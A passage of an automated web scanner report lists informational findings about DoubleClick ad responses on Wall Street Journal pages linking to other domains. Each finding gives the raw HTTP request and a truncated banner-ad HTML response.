<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
te_main%3Bs%3D8_10001%3Bmc%3Db2pfreezone%3Bpos%3D6%3Btile%3D9%3Bsz%3D170x67%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttp://online.wsj.com/small-business/main" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/wsj_small_biz170x40_2.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.43. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/rej_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=5;tile=8;sz=170x67;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/MWNewsletters_PFIBB_170x40.gif

Request

GET /adi/brokerbuttons.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=5;tile=8;sz=170x67;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:41:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 912

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
170x67%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_ProactiveFundInvestor?dist=IYMLBTBCD" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/MWNewsletters_PFIBB_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.44. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/us_subscriber

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=3;tile=5;sz=170x67;ord=5370537053705370;

The response contains the following link to another domain:

http://s0.2mdn.net/2457383/110062_01_GoPro_Tools_EII_170x40.gif

Request

GET /adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=3;tile=5;sz=170x67;ord=5370537053705370; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-economy.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:27 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 795

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
tegory%3D%3B%3Bmc%3Db2pfreezone%3Bpos%3D3%3Btile%3D5%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254910;58787601;i" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2457383/110062_01_GoPro_Tools_EII_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.45. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/us_subscriber

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=2;tile=6;sz=170x67;ord=6698669866986698;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/MWNewsletters_ETFBB_170x40.gif

Request

GET /adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=2;tile=6;sz=170x67;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:13 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 853

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
3D6%3Bsz%3D170x67%3B%3B%7Eaopt%3D6/0/ff/0%3B%7Esscs%3D%3fhttps://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_ETFTrader?dist=IYMLBTBCF" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/MWNewsletters_ETFBB_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.46. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/us_subscriber

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=3;tile=7;sz=170x67;ord=6698669866986698;

The response contains the following link to another domain:

http://s0.2mdn.net/2457383/110062_01_GoPro_Trades_EII_170x40.gif

Request

GET /adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=3;tile=7;sz=170x67;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 796

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
tegory%3D%3B%3Bmc%3Db2pfreezone%3Bpos%3D3%3Btile%3D7%3Bsz%3D170x67%3B%3B%7Eaopt%3D2/0/ff/0%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254913;58787601;l" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/2457383/110062_01_GoPro_Trades_EII_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.47. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/us_subscriber

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=1;tile=5;sz=170x67;ord=6698669866986698;

The response contains the following link to another domain:

http://s0.2mdn.net/3072305/ING_logo_170x40-w_border_04112011.jpg

Request

GET /adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=1;tile=5;sz=170x67;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:12 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1030

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
%7Eaopt%3D2/0/ff/0%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;239765443;62593204;n?http://save.ingdirect.com/promo/promo_set.asp?p=%9BKHUWN%A2&Redirect=90" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/3072305/ING_logo_170x40-w_border_04112011.jpg" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.48. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/us_subscriber

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=2;tile=4;sz=170x67;ord=5370537053705370;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/MWNewsletters_PFIBB_170x40.gif

Request

GET /adi/brokerbuttons.wsj.com/us_subscriber;!category=;;mc=b2pfreezone;pos=2;tile=4;sz=170x67;ord=5370537053705370; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-economy.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:28 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 865

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...
170x67%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttp://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_ProactiveFundInvestor?dist=IYMLBTBCD" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/MWNewsletters_PFIBB_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.49. http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/asia_houseoftheday

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday;!category=;page=hodasia;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=300x250;ord=6729672967296729;

The response contains the following links to other domains:

http://s0.2mdn.net/879366/flashwrite_1_2.js
http://s0.2mdn.net/880257/ORP_300x250.jpg

Request

GET /adi/interactive.wsj.com/asia_houseoftheday;!category=;page=hodasia;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=300x250;ord=6729672967296729; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:54:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6632

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white">

<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
...[SNIP]...
pfreezone%3Btile%3D2%3Bsz%3D300x250%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://planner.marvin.com/Cover.aspx?utm_source=WSJ&utm_medium=banner&utm_term=300x250&utm_content=ORP&utm_campaign=consumer"><img src="http://s0.2mdn.net/880257/ORP_300x250.jpg" width="300" height="250" border="0" alt="Advertisement" galleryimg="no"></a>
...[SNIP]...

19.50. http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/business_econ_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front;u=%5E%5E;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=5370537053705370;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/business_econ_front;u=%5E%5E;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=5370537053705370; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-economy.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:28 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1185

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.51. http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/business_econ_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front;!category=;;mc=b2pfreezone;tile=2;sz=377x140;ord=5370537053705370;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/3004647/1-rbc-hots-377x140.png

Request

GET /adi/interactive.wsj.com/business_econ_front;!category=;;mc=b2pfreezone;tile=2;sz=377x140;ord=5370537053705370; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-economy.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:28 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 480

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/e;240424184;0-0;0;29217796;29332-377/140;41928016/41945803/1;;~okv=;!category=;;mc=b2pfreezone;tile=2;sz=377x140;;~aopt=2/1/ff/1;~sscs=%3fhttp://online.wsj.com/public/page/news-wall-street-heard.html"><img src="http://s0.2mdn.net/viewad/3004647/1-rbc-hots-377x140.png" border=0 alt="Click Here"></a>
...[SNIP]...

19.52. http://ad.doubleclick.net/adi/interactive.wsj.com/default previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/default

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/default;u=%5E%5ElA;!category=;s=8_10001;mc=b2pfreezone_super;tile=1;sz=377x50;ord=6426642664266426;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/default;u=%5E%5ElA;!category=;s=8_10001;mc=b2pfreezone_super;tile=1;sz=377x50;ord=6426642664266426; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1223

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.53. http://ad.doubleclick.net/adi/interactive.wsj.com/forgotpassword previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/forgotpassword

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/forgotpassword;mc=b2pfreezone;tile=1;sz=377x50;ord=3076307630763076;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/forgotpassword;mc=b2pfreezone;tile=1;sz=377x50;ord=3076307630763076; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/WSJThirdParty_Header_Nav_Commerce.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:44:27 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1097

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.54. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/front_nonsub

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=3;sz=280x61;ord=6698669866986698;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/7-17g_280x61.gif

Request

GET /adi/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=3;sz=280x61;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 457

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/p;238251253;0-0;2;29743509;28940-280/61;39158721/39176508/1;;~okv=;!category=;;mc=b2pfreezone;tile=3;sz=280x61;;~aopt=2/0/ff/0;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT8"><img src="http://s0.2mdn.net/viewad/1952284/7-17g_280x61.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.55. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/front_nonsub

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=2;sz=280x46;ord=6698669866986698;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/17g_280x46.gif

Request

GET /adi/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=2;sz=280x46;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1099

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><map name="HP_280x46">

<area shape="rect" coords="154,5,195,20" href="http://ad.doubleclick.net/cli
...[SNIP]...
</map>

<IMG SRC="http://s0.2mdn.net/1952284/17g_280x46.gif" HEIGHT="46" WIDTH="280" USEMAP="#HP_280x46" border="0">
</body>

19.56. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/front_nonsub

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=4;sz=377x140;ord=6698669866986698;

The response contains the following link to another domain:

http://view.atdmt.com/DEN/view/305523487/direct/01/2841447

Request

GET /adi/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=4;sz=377x140;ord=6698669866986698; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 648

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/y%3B239192907%3B0-0%3B0%3B29743509%3B2
...[SNIP]...
</a><img src="http://view.atdmt.com/DEN/view/305523487/direct/01/2841447" width="1" height="1" border="0"></body>

19.57. http://ad.doubleclick.net/adi/interactive.wsj.com/houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/houseoftheday

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/houseoftheday;u=%5E%5ElA;!category=;s=8_10001;mc=wsjfreezone;tile=1;sz=377x50;ord=1194119411941194;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/houseoftheday;u=%5E%5ElA;!category=;s=8_10001;mc=wsjfreezone;tile=1;sz=377x50;ord=1194119411941194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
